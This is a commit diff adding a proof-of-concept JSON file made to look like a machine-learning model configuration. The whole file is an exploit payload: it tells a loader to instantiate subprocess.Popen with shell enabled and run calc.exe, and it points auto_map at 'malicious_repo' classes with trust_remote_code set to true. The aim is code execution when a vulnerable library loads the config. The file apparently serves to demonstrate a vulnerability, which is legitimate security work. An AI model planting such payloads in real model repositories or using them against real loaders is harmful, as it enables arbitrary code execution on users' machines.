Add PoC file: poc_json.json

poc_json.json

@@ -0,0 +1,18 @@
+{
+  "model_type": "transformer",
+  "architectures": [
+    "AutoModelForSequenceClassification"
+  ],
+  "__class__": "subprocess.Popen",
+  "__args__": [
+    "calc.exe"
+  ],
+  "__kwargs__": {
+    "shell": true
+  },
+  "auto_map": {
+    "AutoConfig": "malicious_repo--configuration.MaliciousConfig",
+    "AutoModelForSequenceClassification": "malicious_repo--modeling.MaliciousModel"
+  },
+  "trust_remote_code": true
+}